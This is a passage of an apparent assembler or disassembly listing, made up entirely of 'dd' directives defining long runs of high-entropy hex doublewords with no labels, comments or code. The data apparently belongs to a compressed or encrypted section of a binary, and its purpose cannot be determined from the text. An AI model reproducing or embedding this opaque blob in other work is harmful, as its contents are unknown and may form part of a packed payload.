0C7BE2E7Eh dd 0DCE1D501h, 5250A560h, 0E3036833h, 53162391h, 0CC1CDF80h dd 91A0574Fh, 585A275Fh, 0C7AC6452h, 0ED2BBB05h, 15D4794Eh dd 0FBEC19B1h, 25A7984Bh, 0E9C71CDDh, 9A015924h, 5F565078h dd 30BA562Eh, 18A81DD7h, 0A232E500h, 870840EEh, 89410126h dd 3846ABB6h, 6E6A9F2Fh, 100940B7h, 9860520Ch, 4EC6974Fh dd 0CE5F6139h, 0AAE237F6h, 0D0252C70h, 0B48D4E69h, 0C801D499h dd 78FEE006h, 9420FB8Eh, 8D95A221h, 0DA3F5627h, 0CB1DC8CCh dd 8551D174h, 41E97560h, 8F08AA27h, 79BD0917h, 0DD4AF1ACh dd 0B5AC26DEh, 0B15BECF6h, 0AD4E542Eh, 8C19ACE3h, 72FB6900h dd 9A1BF8Fh, 66D2D85h, 0F82155Bh, 4060DFB7h, 80134DAFh dd 8812B966h, 74AA616Dh, 0BA6AAA82h, 424EE600h, 0CD07A97h dd 0FB897627h, 214E78E8h, 0C4022C7Ch, 40C94B32h, 944C19Dh dd 0ACE1AD14h, 83028C19h, 2AB22767h, 56C86A2Ch, 0CBCD25DAh dd 322B28C0h, 2DAD28B8h, 5D8D1793h, 93D5A82Ch, 0CEC0CCECh dd 35C1DB09h, 0D59C3D1Fh, 46487840h, 0E40120Fh, 4730E94Ch dd 33058EE6h, 9CB0BF04h, 53FE6999h, 0E0ECE6BEh, 2E36EB5h dd 0F2896510h, 30DFF514h, 5A13BF7Dh, 0B26BB619h, 29713014h dd 2DB527h, 2CB968C1h, 84BE4E4Bh, 2E01AFFDh, 41D3D746h dd 0B0C0342Eh, 4F04CCCBh, 10518D31h, 1CBD02BDh, 1D02CDCFh dd 5829BEB8h, 11F540C7h, 0DEB7800Eh, 5960502Dh, 565B00ADh dd 9C471DC2h, 5893C702h, 603EEC81h, 4F8B5EC2h, 0EDD551F3h dd 65A1B713h, 0BDFC827Ah, 2DD1D8D7h, 0A57D0B5Fh, 92B66177h dd 0B71D72E0h, 0C5E0D304h, 85815D3Eh, 0B2051CD5h, 1F03D25h dd 40BE91E4h, 382E1938h, 0C33B81FEh, 73EF928Fh, 2A89CCB2h dd 0F4F665FEh, 57E52DD7h, 0C7266159h, 550FBD09h, 80D0289Dh dd 2A4D4DDFh, 940070BCh, 0DA899DCDh, 7C9ACABFh, 9002B5A8h dd 0DD5C7DBBh, 63ADA251h, 0A9A093DDh, 0CE4B3EEBh, 81238C34h dd 1016412Fh, 0BE5C44BFh, 400EC490h, 0CEF34252h, 0F1180054h dd 0EB9A6C27h, 0B04F5A33h, 0AF6F8220h, 0E0F90126h, 0F3E7F8ABh dd 8A5CD2DDh, 95F466Bh, 339D8531h, 2982C05Bh, 572C51BDh dd 0B595A216h, 7FB60478h, 1125FFFCh, 0E7F96483h, 81C9029Bh dd 0E20B5421h, 315CDF8Bh, 51093B6Dh, 0F2CD206Eh, 0A37DB296h dd 1F395912h, 5843F3B7h, 302D5DF1h, 265A012Ch, 0B6D70BB2h dd 57E1A0B5h, 202698EAh, 5C96100Dh, 0FBE58469h, 6E5EE7ACh dd 94200C37h, 0A9F5B4FDh, 9049E899h, 3B50D0h, 2A0F23Dh dd 5FFE8BC2h, 71F18B95h, 0DB7C01F1h, 0EC92068Ah, 2D00B2D0h dd 624516BDh, 7A892F8Fh, 6F9925A4h, 0E394FE66h, 55624409h dd 95C1FBAh, 343F71DCh, 0FBC8FC8Ah, 0C401DD4Eh, 118A1199h dd 0AEBFF901h, 79673534h, 0EADAD789h, 0A5CB8F80h, 970C21BBh dd 0DC70B353h, 5A99F0CFh, 0B291E750h, 2698FFF9h, 9500BAADh dd 588FD57Dh, 2CA6D3BDh, 10628960h, 79232509h, 0E56112B5h dd 0FE7C045Eh, 4FE07AE6h, 6EB5FC45h, 0D481BC09h, 0FCBC0812h dd 51895BE2h, 0BD6015EFh, 2785BAh, 0BB5097B3h, 54D7D9B9h dd 6376BCAAh, 259D01DCh, 26D266Bh, 52D36C89h, 50B39222h dd 0ABE3844Bh, 0CF80A32Ah, 4AC9050Fh, 16F88548h, 37AD28E1h dd 29C489CFh, 0F28EAA21h, 0F1A66A2Bh, 0F8CFC4E6h, 0FD741A97h dd 8DCDA080h, 21209529h, 0BAC64F15h, 8C1FF86Fh, 0AC2583E0h dd 8F8AA17Bh, 0B908F556h, 9A52808h, 610C8CE9h, 1472047Dh dd 60603CAEh, 5AEFA0C2h, 4F81C03Dh, 0E9611289h, 3D77E169h dd 24DB8ACh, 0B5012876h, 0FCFC03C9h, 9086BF81h, 0BC601A0Ch dd 9C204BE5h, 8102607Ch, 0EE7162C0h, 7DCD406Ch, 6A618124h dd 0A0043212h, 0B1CC310Fh, 12BB0020h, 656FCC54h, 12B55F4Eh dd 0DC5C5E34h, 3A6F6335h, 5B2F891Dh, 0A20978EBh, 0E6859309h dd 0A0F550ECh, 0A0267D3Dh, 0EFF0997Bh, 0E0364DDAh, 410219A1h dd 53710B97h, 0F4277180h, 780E73C2h, 28E8EDADh, 5BD88009h dd 9F1C80F1h, 893E326h, 2F31B509h, 880FC25Fh, 8012F30Dh dd 662E96C6h, 5F0956D1h, 7950905Bh, 0C2803E35h, 0A4880E05h dd 3D002F03h, 5DAC87DEh, 0A8514E7Ah, 0D13B3Fh, 0BEF46EECh dd 5F43FE4Dh, 539002C9h, 67C270D1h, 0B2B0CC12h, 2B12A6FCh dd 9DDBE416h, 0B64E1A46h, 0E016A0A5h, 7FC8022Eh, 0EDCD644Bh dd 0D60074D1h, 0F65D102Bh, 0D152094Eh, 0E971D725h, 0B098996h dd 8BEF7332h, 3F09D1FFh, 0B644A559h, 22B06EF7h, 0B50E8020h dd 4B500F78h, 50097C8Bh, 0D517B228h, 3500AB2Eh, 0DA52C1EEh dd 0E9D704E8h, 0AB026A5Bh, 1600D36Eh, 4F7EFFBEh, 0EB2D56D2h dd 1059CFh, 0BE0BE099h, 7200F59Ah, 0D8210239h, 8C20FEh dd 0F2C36B70h, 0AB95BF90h, 50521B1Dh, 70A3F3EFh, 4B0775E4h dd 0EDF517DAh, 61CB8209h, 0E9EF5C1Dh, 140C0D8h, 8EBC4BE9h dd 0F0A310D2h, 0F9245648h, 0C556A58Fh, 0C660BDCh, 0AA6430ACh dd 0E7B74100h, 0F4160A18h, 8F3D01E6h, 71688D30h, 316BF825h dd 9ECD8526h, 0A4B95F92h, 0A0B2B6D7h, 0E1C89B7h, 82B89136h dd 0A99D8B41h, 5790021Bh, 0D302A03Dh, 5EFB8B98h, 0E740C911h dd 0C595F4F1h, 3085089Bh dd 3B375552h, 6FC8B00h, 965752ACh, 0DF8160BFh, 9B0902ADh dd 0B7FF6A2Eh, 5709D2Dh, 9028EAF0h, 5AA4DEA5h, 0E18A5705h dd 6AC16159h, 7A3B140Dh, 2FFF00EBh, 8957D6B9h, 0D81C4BFCh dd 58B1818h, 2D40D77Ch, 5B48FFB0h, 70E60121h, 9D718D29h dd 5066E487h, 0D6BBD460h, 67AC3FB1h, 51A5953Ah, 0E98CFD73h dd 4B0B10h, 0A21FEC90h, 0DB95D0D9h, 82F18D01h, 896B8677h dd 0B7174B2Fh, 0BF60B056h, 5C356034h, 0B05F0327h, 0DCB71B24h dd 0BCDF4479h, 8ABB0201h, 5502CAB4h, 7BDD3468h, 0E1A3E980h dd 660B602Eh, 7804A87Dh, 8B827E88h, 19D20FEh, 255AB98Dh dd 883BB4B3h, 0B70A7E45h, 2380F31h, 0DA46F2BBh, 91EB5C4Eh dd 3F04B21h, 51668A65h, 86B0C000h, 0D7B2A24Eh, 0B1804FD3h dd 1D6D586Fh, 0E65F9425h, 8D5EB505h, 49218965h, 66001E85h dd 3D4BD1BBh, 35BB15C5h, 0FDA882F7h, 30975B70h, 0BF97B70Dh dd 20F5F88Dh, 2EA8045Eh, 94971C0Dh, 6FE4210Fh, 781819F1h dd 0FEA3030Fh, 0F442FAD9h, 0FB1B1689h, 0D896E09Bh, 0CB006E5Bh dd 0E4B90DCAh, 5A3CF005h, 0A6848863h, 98F24500h, 0E6C3BF61h dd 0BB8D00C2h, 2778CD55h, 0B75DB95Bh, 246E4A3Bh, 3B271601h dd 3A35668Ah, 4BC78410h, 0C15D0E94h, 0DE40ECh, 9046D35Dh dd 7A7C8011h, 0F9169790h, 4505C02Bh, 23AB2841h, 338A9DCFh dd 0AFBF043Ch, 0FD63FFDBh, 7EB872h, 3E300A3Ah, 49E28060h dd 61125694h, 53272DF2h, 7551FDE0h, 99C539Dh, 0F6713EB3h dd 0EBD565A5h, 1F503BF3h, 0CEC005E2h, 0E6F627EBh, 873FE2A6h dd 220579E0h, 5D0062A3h, 984A8AC7h, 694B1649h, 6A2ECD8Ah dd 160EFCBAh, 0BAF6A1h, 0B0BBF97Ch, 208D1690h, 9D7931B8h dd 0BAD5C2D5h, 0A903FDC8h, 4B98884Ch, 6E583947h, 4DE12D2Ah dd 8F9BC030h, 5B02094Eh, 99E32D10h, 52AF5C9Eh, 0ED2582F4h dd 0AE49E0EFh, 3B138546h, 67044D10h, 1DEFE4C8h, 0BE96826Ch dd 0D85C2C75h, 0AD684A53h, 72AFE825h, 8D7712A6h, 0D7CFBC55h dd 0ECBFD4C0h, 6C5F2588h, 761A01E5h, 0D5BF578h, 4556A70h dd 31A2C705h, 0A2A217h, 9D822777h, 715B58h, 7012DFD6h dd 6089A6B1h, 0FA972A98h, 90B79774h, 0A0CB6D0Fh, 3C0C27EFh dd 11A19746h, 225F98Dh, 0CA90D760h, 0C401A923h, 3CBBCA21h dd 0B82052B4h, 3A314995h, 28E96125h, 0D333A6C4h, 5B184509h dd 9210AF11h, 47017A0Ch, 896E7BE3h, 312F2FF5h, 60BF5711h dd 71034F09h, 27B7905Fh, 0DEB0D050h, 907A794Ch, 34D12E7Ah dd 0BD23618Dh, 0B928A1h, 25D0685Fh, 6B506EFAh, 0E45D0452h dd 0A7E5BD78h, 0DBB70CB1h, 2FE7C83Fh, 6EE52612h, 2825FBF8h dd 25BE3853h, 6482CDFBh, 0ACAE601Bh, 92FE05BAh, 0ABCD8048h dd 23DE6913h, 94A1C481h, 2B99214Ch, 0D1BD9524h, 0B60297BCh dd 30F5D0F9h, 874C55F3h, 0C6FE8B25h, 0ECE6BD6Bh, 59E4F397h dd 0BA81816h, 89F590B5h, 0EDFDAFE0h, 598B5B9Dh, 0BC841815h dd 473D1952h, 6FE9D923h, 4464B91h, 0AB84F39h, 0C502A679h dd 7043F0B2h, 3D4A56B8h, 60F78103h, 0E5E5CFA7h, 2BE03B48h dd 0F8CF9FE3h, 0DC014A61h, 9D2BCEC0h, 0BB165A16h, 0AA099452h dd 115AD1FEh, 4A6E1E0Fh, 5DCBC700h, 5769CFh, 30E161A2h dd 0DE8F44Fh, 0CEA836A0h, 0D7D90300h, 0C4ED71A0h, 906C0125h dd 0FFA282BFh, 0ACE13B7Ch, 305052C1h, 0A8484Ah, 0FC74651Dh dd 7C7E5AD9h, 0E6205809h, 52BCDA91h, 1262D75Bh, 14D058F8h dd 0C49F2041h, 3CC6A5BCh, 0A0903BCFh, 58DD463Ah, 1F5FEC50h dd 252EE67Fh, 0E87BF011h, 0CE167D44h, 79BD887Eh, 0E28C19ACh dd 1B74397Ah, 93729A30h, 611201DFh, 0F0B272B7h, 0E2E1F6D2h dd 3806F47Eh, 0AB16040h, 10E400BAh, 0C0C7033Ch, 592017Dh dd 0CFCB095Eh, 53292B61h, 7F46E52Bh, 0BA091D6Eh, 20715CBCh dd 4B58584h, 1A82B43Bh, 1DED5794h, 726ABBE0h, 5C0FF688h dd 5780F683h, 1F8D9529h, 0FC5B33B2h, 1AC5889Dh, 16B0CE6Ah dd 36E90481h, 6CB33BE9h, 66F7BF29h, 739F5E52h, 86267868h dd 9D2B5404h, 68B90E69h, 0F8535717h, 17FE359h, 2BF0EAC2h dd 2E53385Ah, 84095334h, 500D5629h, 0D26E381h, 6D253EFCh dd 601C644Dh, 2C6C02Ah, 3A0F966h, 50A0384Bh, 291AE398h dd 0DCFE5C00h, 96F53077h, 0FAD6C750h, 4F4D6928h, 0B75B66C0h dd 7B261351h, 8017F843h, 37F50ACh, 0D2683E98h, 0FFB5D648h dd 521B171h, 0BCF84D0Ah, 381E12EBh, 93E2ECD7h, 6B8EDCBCh dd 28397860h, 0A301C882h, 0CAB442Dh, 0CD54DDC3h, 0D69A9EABh dd 0C44A7EE8h, 0ACDDAD81h, 96138C16h, 92C8C598h, 928609BCh dd 482E2A0h, 0A3420B7Dh, 23C555h, 6946BAE4h, 0A300A4A8h dd 0D0F10B29h, 975FC93Dh, 1991FF35h, 96582280h, 0AD4C7678h dd 334912CDh, 244B02F7h, 5C90EF06h, 503924CFh, 4A79F53Ch dd 4AF9B630h, 4F80899Ah, 36542CF1h, 0F0B4794Ah, 950570BDh dd 7128EA65h, 0AADFC4Eh, 968C1CACh, 0C7F00296h, 0D56228E7h dd 0FD373198h, 0AC364100h, 33784922h, 62E709B1h, 861B2C69h dd 42BD784Ah, 33959D82h, 91103757h, 0FE5F801Ch, 1D92707Dh dd 2F347CFAh, 0F88AC018h, 3B5F10B7h, 146A0BCDh, 888B962Dh dd 0DE77FD50h, 2FDCA096h, 0B8709E8Eh, 843A0341h, 4A5AFC68h dd 1CC844DAh, 181457C9h, 0BA97B2E2h, 47A9ED01h, 0BF46E086h dd 7E2584DEh, 1106E514h, 0F54370h, 0E5252F5Bh, 0E65A1EBDh dd 65200EADh, 15D91D9h, 0EB473208h, 0D6886A96h, 0C0540036h dd 23D22A40h, 6B741089h, 3C63B001h, 61605250h, 9F67F32Ah dd 603E0AE8h, 2FEC4E56h, 6B2461CDh, 0D1C5019Bh, 0C56F81DEh dd 5FD24A28h, 2D7564C1h, 6784FB04h, 0BB5B2DB8h, 0AE48986Eh dd 0E626A02h, 1748FAFh, 1D46D6h, 0B13CBE55h, 44C15DAh dd 8B4B70ACh, 0D24CBCF9h, 2CAAC312h, 0B3883984h, 2C9897C1h dd 495A8D89h, 0EFC65309h, 6D414061h, 51759E3h, 86B10ED3h dd 78185EC2h, 0EA12EB80h, 10F063E9h, 209D9056h, 5B16311Dh dd 16A9C18Bh, 4AC12EB8h, 0ACE0A447h, 0BCD0B7CCh, 53BF09A4h dd 508F1379h, 0C5C8C2BBh, 4420D40Ch, 0ECE3D8FAh, 15D35A0Fh dd 9248ADCBh, 866D9B2Ah, 0C23A4E28h, 0AA82E38Ah, 27042307h dd 0A4D6FAAh, 56E86097h, 91961300h, 24CF8418h, 1DAF21B6h dd 25B45D59h, 8F5EEEC2h, 96D2501Ch, 55B16CF7h, 1EE134E0h dd 0B55182h, 0EE494035h, 0E76345DDh, 5FF8F95Eh, 46FCF708h dd 0C0CCB1A1h, 46D352Eh, 2029D6h, 64F6BB60h, 7C7258E8h dd 0FF61DB01h, 2ED98AD1h, 0D6C37D28h, 80BCDB59h, 0F5AD306Fh dd 1256036Bh, 36BB6661h, 880F718Fh, 689C2A10h, 0CC92003Ah dd 3F3071EDh, 6A73830Ah, 2045F73h, 24358509h, 0AB7E25EBh dd 1C271A20h, 97951374h, 8B854067h, 615F57FBh, 764D329Dh dd 7D28D4D2h, 0DA9DE137h, 0BEB59D89h, 15801B91h, 0DDE07B8Dh dd 0AC84D714h, 942D3C8Bh, 9785870Fh, 0FCD1CCBEh, 15956C02h dd 5C0E38E9h, 452D598Ah, 0B9AB9883h, 0C8884201h, 1E515F89h dd 0AF924F3Ch, 2679E828h, 2545290Ch, 8549175Eh, 52BF9DE7h dd 5E74B7CDh, 7EA38EB6h, 0F20ECFF8h, 59BC532Dh, 4124019Ch dd 0E8BDFE9Fh, 0BA00E847h, 114E402h, 0A612599Dh, 1004D2F8h dd 9A40F1E1h, 50265BCAh, 140A9242h, 6CF829A6h, 7CB5C424h dd 5F09CFBDh, 739D7E70h, 1CA8F0A7h, 0ED112702h, 0F55E3F64h dd 0E3034D7Bh, 0E46A2F25h dd 4FE0D5B6h, 765A35C0h, 46957587h, 48218A82h, 2F2956CFh dd 32C2D98Dh, 2D69B955h, 5E2BA15h, 398D0904h, 1CB00C03h dd 0E5DE5AB7h, 84FFD94Fh, 0F673C3B6h, 0BF7682EAh, 4D5AFA89h dd 0BB550360h, 4B62A25Eh, 0EE3D8510h, 40AC2734h, 61FE5299h dd 38092B4Dh, 32418431h, 503CB012h, 7DC9BF00h, 2B5B7B13h dd 0D7F0C8h, 8B3D3C17h, 858960D1h, 173EBD5Dh, 2F00CE81h dd 0E9612AE1h, 6069C9BCh, 6B009571h, 0B15B981Ch, 621300BFh dd 1EB9A71Dh, 20B587Eh, 0D8DD8A4Ah, 4C443814h, 0EC4B9EDCh dd 803C937h, 5AADA239h, 80D89140h, 0F0D2D984h, 0B401E723h dd 0B6D1DB81h, 2AAD0839h, 0ED094BD8h, 0D507F92Fh, 95299938h dd 440A6D22h, 0BD16895Eh, 52B9107Dh, 0E142A0D3h, 6EF3014Eh dd 5913205Ah, 7A00F34Eh, 0CF487704h, 3A0CA72Ah, 0BDF8763Fh dd 0FEB1DC60h, 0CC5F7E25h, 22E9505Ah, 9F2E0781h, 60F10A85h dd 93CF64Bh, 9E612902h, 909589E4h, 259D2392h, 66C52671h dd 927F9B0Fh, 0AABC37ADh, 0C057B64Ch, 3C326768h, 0FB060BA5h dd 0CDD56A11h, 0CEBC161h, 0D2B1F483h, 24265824h, 3165BD05h dd 4069B1E4h, 19976119h, 0BA31579Ah, 5CDD0658h, 0BD89B113h dd 0B97EABFAh, 0AAA7105Ah, 8E82BEA0h, 8592FD04h, 73B8888Fh dd 0E000B64Eh, 2D1CADE1h, 2440A6FAh, 70E9FC33h, 3B1641DEh dd 9230C02Bh, 48EE42Ch, 23E50FAFh, 0D294FABDh, 0BBBCD4BFh dd 0DD00A06Fh, 1EB73298h, 21127B2Ch, 9B30F8D7h, 145AB0C4h dd 9D65C01Fh, 1BB19D09h, 0D768AF73h, 0CF561C90h, 509D331Ch dd 8D010A10h, 0D8BE3F9h, 0E0DF5E88h, 0F4F9D218h, 22B9A300h dd 0DE82EED4h, 38EBF87Eh, 27FC6939h, 489A2838h, 0AC10E980h dd 18977DB7h, 1A3BB3B0h, 5D03890Fh, 0FE252454h, 0D95B5C47h dd 0A14EC9E3h, 0CB7B1C3h, 0BF002635h, 0A425F64Ch, 1183C528h dd 5CC84A3Dh, 0BAF72580h, 0EDA72373h, 779D4096h, 0CE7C9EEBh dd 0AE358ED6h, 0D63D2609h, 0E2E11268h, 5508556h, 27A1D6E7h dd 1D1F3089h, 0C2FFF997h, 0EF5F053Ch, 0FA9F40ECh, 961751C7h dd 104F517h, 8BEA0AEEh, 2804201Fh, 40BA3360h, 8B1E6618h dd 3FEB61C3h, 996D758h, 1376664Dh, 6CE9C480h, 5890540Dh dd 22163D27h, 0F530D522h, 0CDAD6971h, 863441E1h, 32EEF4DAh dd 0C135BD09h, 0D5045060h, 0F8933DCDh, 0B2E0D6E5h, 5F0497DAh dd 1143B9FCh, 0B5080149h, 14592695h, 0F3F9AB10h, 8C9AAF00h dd 33A7F752h, 18A7356h, 35CFD9CBh, 2E6FBC5Bh, 9BBA4E57h dd 1094C181h, 57B594Ch, 0D4735DA1h, 0C1979BEDh, 74E9B87Eh dd 5119BD64h, 80474D27h, 39AE1B94h, 0AA50265h, 0F28B6021h dd 0A84D87E5h, 44882360h, 0D504BF05h, 8B3E8F1Dh, 0F8DDD3A8h dd 24B1B716h, 9E20FE0Fh, 28D6BFAh, 516DCF81h, 0F1F7D57Ch dd 585F8BD2h, 0B71C6D3h, 6F759C41h, 4E5342Ah, 0AE1CE9F1h dd 0EEDC4776h, 0AD024F59h, 32AC8009h, 2CBBA43h, 0F827CD26h dd 24401DA3h, 0D20BDCBFh, 0EF0296E9h, 0BF7940D3h, 3A3CE6EBh dd 0BD134E22h, 21A9B904h, 3D5D2DAEh, 18F4A8E2h, 5653AE68h dd 5B812FB9h, 9C801D28h, 0EF2D64ABh, 8DA54D00h, 20A8750Bh dd 76821216h, 5EE1E217h, 0BB6EFEh, 2DFAEDB7h, 9F7F83B5h dd 817DFE5Ah, 8579DE04h, 0BBC5B5Ah, 94B08D2h, 4B96F0A5h dd 5B11CB20h, 0C500516Ah, 93E45FB6h, 9186247h, 610260C7h dd 86E83A80h, 0F0F7C150h, 2753B589h, 0C2903078h, 0DE8BD888h dd 91773557h, 0BFB3801Ah, 12E88FE5h, 0F1F86732h, 0C0261A3Ah dd 3751D61Bh, 53312526h, 1BDC8E8h, 54A82F9Fh, 0C6855ECFh dd 0B8E03EA6h, 0F601C5E8h, 0BB374CC6h, 302F472Bh, 0E1BD295Eh dd 979D4797h, 0C0C4A850h, 9691ECE2h, 9B491657h, 50FFD139h dd 3237A60h, 8AAC885Eh, 5049B721h, 9D64D361h, 38BCDFD3h dd 15C7BB02h, 235E7C47h, 0CD58F962h, 1E4DE044h, 3800202Ah dd 4EF10179h, 0BA3D9D89h, 0C2539527h, 0DE181C59h, 0FBCD3200h dd 0BFB5F1D6h, 60CFA2F7h, 1797B7AFh, 0AD5025DBh, 4CDFD094h dd 0BD6E4B14h, 0FC86FE00h, 80C6F273h, 0E5CEDB25h, 0D1625084h dd 0A5CBD538h, 61FE41B1h, 0B8F06636h, 0CF9905EDh, 7BA58B80h dd 4A77098h, 0F4C3ED2h, 0B5AEBC38h, 156B97FCh, 3C04F3C4h dd 0F1498DC3h, 40A290B8h, 0D740AED6h, 5BE9337Dh, 0E229F351h dd 97DD3018h, 0ABA71F12h, 6C0E04E2h, 2C403439h, 83BDDDCh dd 0F802387Eh, 5BA1351Dh, 1F6D7548h, 62100F6h, 8F5A803Fh dd 0F0585017h, 91F95AD0h, 0D1E87451h, 313A07AEh, 0C90AA58Dh dd 1FDE2FDCh, 27A13F7h, 83B8483Ah, 99DA82F7h, 5D780C07h dd 0C5CE184Bh, 0E75AE03Ah, 16B8A0D3h, 83DC004Ah, 0C20B8414h dd 60995380h, 0DB770D81h, 8E6B2627h, 0ADA121B9h, 0A600B935h dd 2EBE3779h, 9517E6FEh, 30602F19h, 0ACA8FDC7h, 7DB0E28Ah dd 1DA58512h, 29C970AEh, 1C4B75B5h, 97F5D2DCh, 0ECB5CDBAh dd 0B2705D80h, 0B584D780h, 890084C6h, 0C2992FDFh, 45F65F6h dd 2286CCDDh, 0D381432Bh, 3EB4C18Fh, 0E0AFC92Fh, 783AAB60h dd 0EEC400B5h, 404BEBB2h, 8CEC1D0Fh, 0A0DD31Ch, 0C2865B94h dd 0F64888B3h, 9A978F82h, 905DB3h, 2B0079E2h, 1E3DEF5Dh dd 0A9ECDAh, 0A4F9A27Fh, 478B3862h, 46F8AA4Bh, 71953320h dd 0C9EDAD57h, 9767F3E0h, 3AE21309h, 2B05FF66h, 70AE1D85h dd 7ECF8073h, 5E619297h, 9E00DE94h, 7F6E99D3h, 0E0CEC791h dd 0EEBD5B0Bh, 70ACCA16h, 0CA3902AAh, 5E3837A3h, 6BB72F71h dd 6CF11312h, 1C1E6E2Fh, 2FFC1E1h, 2A3866F3h, 698A5E35h dd 16150702h, 8D8C7109h, 2A7081B3h, 7E3F08B1h, 2F2100E3h dd 37E2B44Bh, 0AD514E81h, 800A8845h, 0E57657Eh, 7AF4244Ah dd 50A6D513h, 5F751E30h, 973EF8ADh, 0BD9930EBh, 6B1E7C61h dd 0F65F5EA7h, 0BFC0C201h, 1C3310E4h, 0FD29742Fh, 0F4FA842h dd 8CE125F3h, 0ACB7B012h, 32F7C04Ah, 0A867ED92h, 1F5C1F18h dd 57DFC7D2h, 5009A0C0h, 4415E8BBh, 5B953C08h, 0D6E020F6h dd 0A5FD733h, 0B24CC30Ah, 0F6E37CA5h, 6C90CB00h, 0AB23D44Dh dd 201B4A7Dh, 0BB5F5381h, 6D78B304h, 36BCDE14h, 158509C2h dd 0BF50505Eh, 93611D65h, 0BA097F52h, 0FD7160F3h, 11FA65A5h dd 4460253Ch, 6B2D0095h, 7FEFAFEEh, 3000EAA8h, 29D1CDEh dd 13B811BEh, 30591870h, 0FEF7B3D6h, 678CC500h, 0D266A126h dd 7DB71227h, 1224F361h, 30FDC6F8h, 0A9215A71h, 85BDB4F4h dd 3E0077A8h, 9A34841Fh, 90DB87A3h, 2AA920E6h, 0F2B2E912h dd 0F09524F4h, 4B58632h, 0C1A0EF3h, 0FD2B4A7Fh, 71F8AD53h dd 0EA4B5FFFh, 0FDF6B020h, 0D60F00CAh, 2CB43DDDh, 950FE3C9h dd 6E59F2ECh, 7A0AD737h, 0D6A5F0FDh, 540251Ch, 8BFC0F5Ah dd 5830C875h, 90610A66h, 0A0DA6B8Ah, 0B80E5CD9h, 0FFB42086h dd 275A9B54h, 32822108h, 717C6A5Fh, 971002DEh, 140B6638h dd 95908E87h, 2BFAC27h, 0C3805ED2h, 2B265ED7h, 0CF1D7889h dd 0DBBF2901h, 585FBA6Fh, 30D2E368h, 9EF62D8Fh, 0E0619300h dd 940FF883h, 0EB909F90h, 2CE4B542h, 0F3166198h, 0F1C01EA8h dd 0B390E521h, 8043783Ch, 6A38DF17h, 0D80A777Ah, 0BB532B6Bh dd 18E9E00h, 8062038h, 7B6A1D2Fh, 33BB7809h, 4DA2BA97h dd 94EC60FBh, 9E920BB3h, 17F2214Ah, 813F04D2h, 34AE162Ch dd 89DBAA74h, 28F99D08h, 706DF349h, 1E0C142Dh, 8432E193h dd 291F4069h, 41AD9D3Fh dd 0E93BD46Bh, 64E1B8FEh, 50CDD2CCh, 0C10C1D5h, 0CCEC8136h dd 0A322D9Dh, 49D63E76h, 0C820714h, 6775EAE9h, 139A1271h dd 0F078E6ADh, 1213184h, 0F4825CADh, 20609B32h, 850B8FD2h dd 548D8961h, 8A91B9EFh, 10B31702h, 0B5D060AAh, 9081057Dh dd 92F80FDh, 0C8F16049h, 611FB584h, 97104FBDh, 40902417h dd 0B5A626DEh, 0F5D86097h, 5807A0A8h, 0AE93DD04h, 0AF5E7370h dd 9BCF041Fh, 0EA3B4037h, 9A5AC4CAh, 0D7178250h, 0F78B7D9Eh dd 54A5E359h, 0FBB76256h, 46DCA25Eh, 0CFA9001Ch, 3D95FA85h dd 0B6690BBCh, 4DFF15B7h, 0E0904AF8h, 0CF6B0CD3h, 63C43724h dd 31C7108h, 418D2953h, 6A5B0F0Ch, 400920FFh, 0DB0BBB03h dd 820B4E8Fh, 5E19F526h, 9CB84E7h, 88B3BD13h, 0BCF89205h dd 0E6DF0B00h, 6844F770h, 6071E431h, 8C6B0E79h, 0B388E8F8h dd 0A38597C3h, 2764C689h, 55259DECh, 59A9EC0Ah, 9574D0F8h dd 659DE1C8h, 0A9C9134Bh, 15A16741h, 6CC82B01h, 0FED125BEh dd 980817BEh, 0E200C0EBh, 0C1196ECBh, 995B64Bh, 9AE91CE1h dd 0C562A85Ch, 505DE021h, 4755244Ch, 564D1385h, 0BA7C30ACh dd 831CE6A2h, 3E4E3BA6h, 9786227Bh, 25A35E5Eh, 61C043F4h dd 0C231CE13h, 4AD2C762h, 8501A2D7h, 86CB2E09h, 0FE4BE946h dd 2C12AAD2h, 5445DD6h, 610F893Fh, 0F90D9223h, 0FD40ABF3h dd 0AC305E3Dh, 0C780E03Dh, 97B2978Bh, 0B30198F5h, 8497B8F5h dd 85313C84h, 8BE50AA5h, 278F9E08h, 6A4BD8F0h, 86C014DBh dd 0E91E6A4Fh, 0E333A202h, 575D9D03h, 0BB05F614h, 3F28D0B8h dd 4A134AFh, 2330D8Fh, 901107B9h, 0A0DFCFEAh, 0CBFCE1CCh dd 182E9D26h, 0B876E9F7h, 361327D3h, 247891C2h, 0B7C02B25h dd 0FBAC008Dh, 5DCDD457h, 0A99D090Ch, 25D25332h, 1AE7DFB7h dd 736E1AFh, 88F7DD3Bh, 9230D118h, 25E2E385h, 1DE4F8h dd 68C48060h, 4601D181h, 61780713h, 0A62EF39Dh, 0A339A078h dd 910E012Ch, 0BC936BA0h, 0F7C240E7h, 9ED3B621h, 0B64A8BA9h dd 0B4DAB4E9h, 89BBB8C0h, 2005ACD5h, 3305B531h, 0DF8C39AEh dd 717AFA85h, 1B29C0Bh, 15109056h, 27FAC24Ah, 958A6C75h dd 665C1562h, 2D9D3160h, 67C6B509h, 0F3585FB3h, 0BD0108B1h dd 331702E5h, 38AA8C53h, 4701252h, 0E2F64D9Fh, 4D52E9Ah dd 0C1925BFh, 56F79301h, 0FED52267h, 0ED9B2CAEh, 6FEF72D3h dd 4A7D02C1h, 7126B3F1h, 4D22005Ch, 0B2D835BAh, 94A2500h dd 71ECC27Fh, 87DB0481h, 0EA433B60h, 712272CBh, 0D3EF8CB5h dd 7FBF0C66h, 0F40A60E5h, 7AAEE05Fh, 0C77A0AC5h, 7BB499D1h dd 127CD4AAh, 0E047E490h, 42A6E191h, 699BF927h, 0FF52DAF3h dd 0BE0359D9h, 9295BFB2h, 4B097077h, 2059CDFBh, 1D40A98Eh dd 40809450h, 0DD3C8A49h, 4CA65B62h, 0ADB45089h, 6ADE5C9h dd 4067E5AAh, 0ADB79Fh, 905D7291h, 0F060BBCEh, 1A68F9CAh dd 9FBF3C98h, 4BFA8D2Ch, 0DA74A45Dh, 0AEBBB704h, 0E5C0DC18h dd 605F026Bh, 6758501h, 0DFDC3A57h, 6F0FC7C5h, 0B34B31E9h dd 0DF8101F6h, 7B77CA6Bh, 57DE322Eh, 314162C0h, 6B2E5B81h dd 11823ABh, 154BDE59h, 0D1F12193h, 0EF840411h, 85B270ABh dd 50810A65h, 9FBD4C30h, 4D09EE29h, 0F9B51293h, 2458BCEBh dd 1C6BA536h, 605E207Dh, 0BACB30EEh, 8B25B19Bh, 693C82C6h dd 206B4514h, 0B0135B2h, 0E87BAA0Ch, 0FCA75A00h, 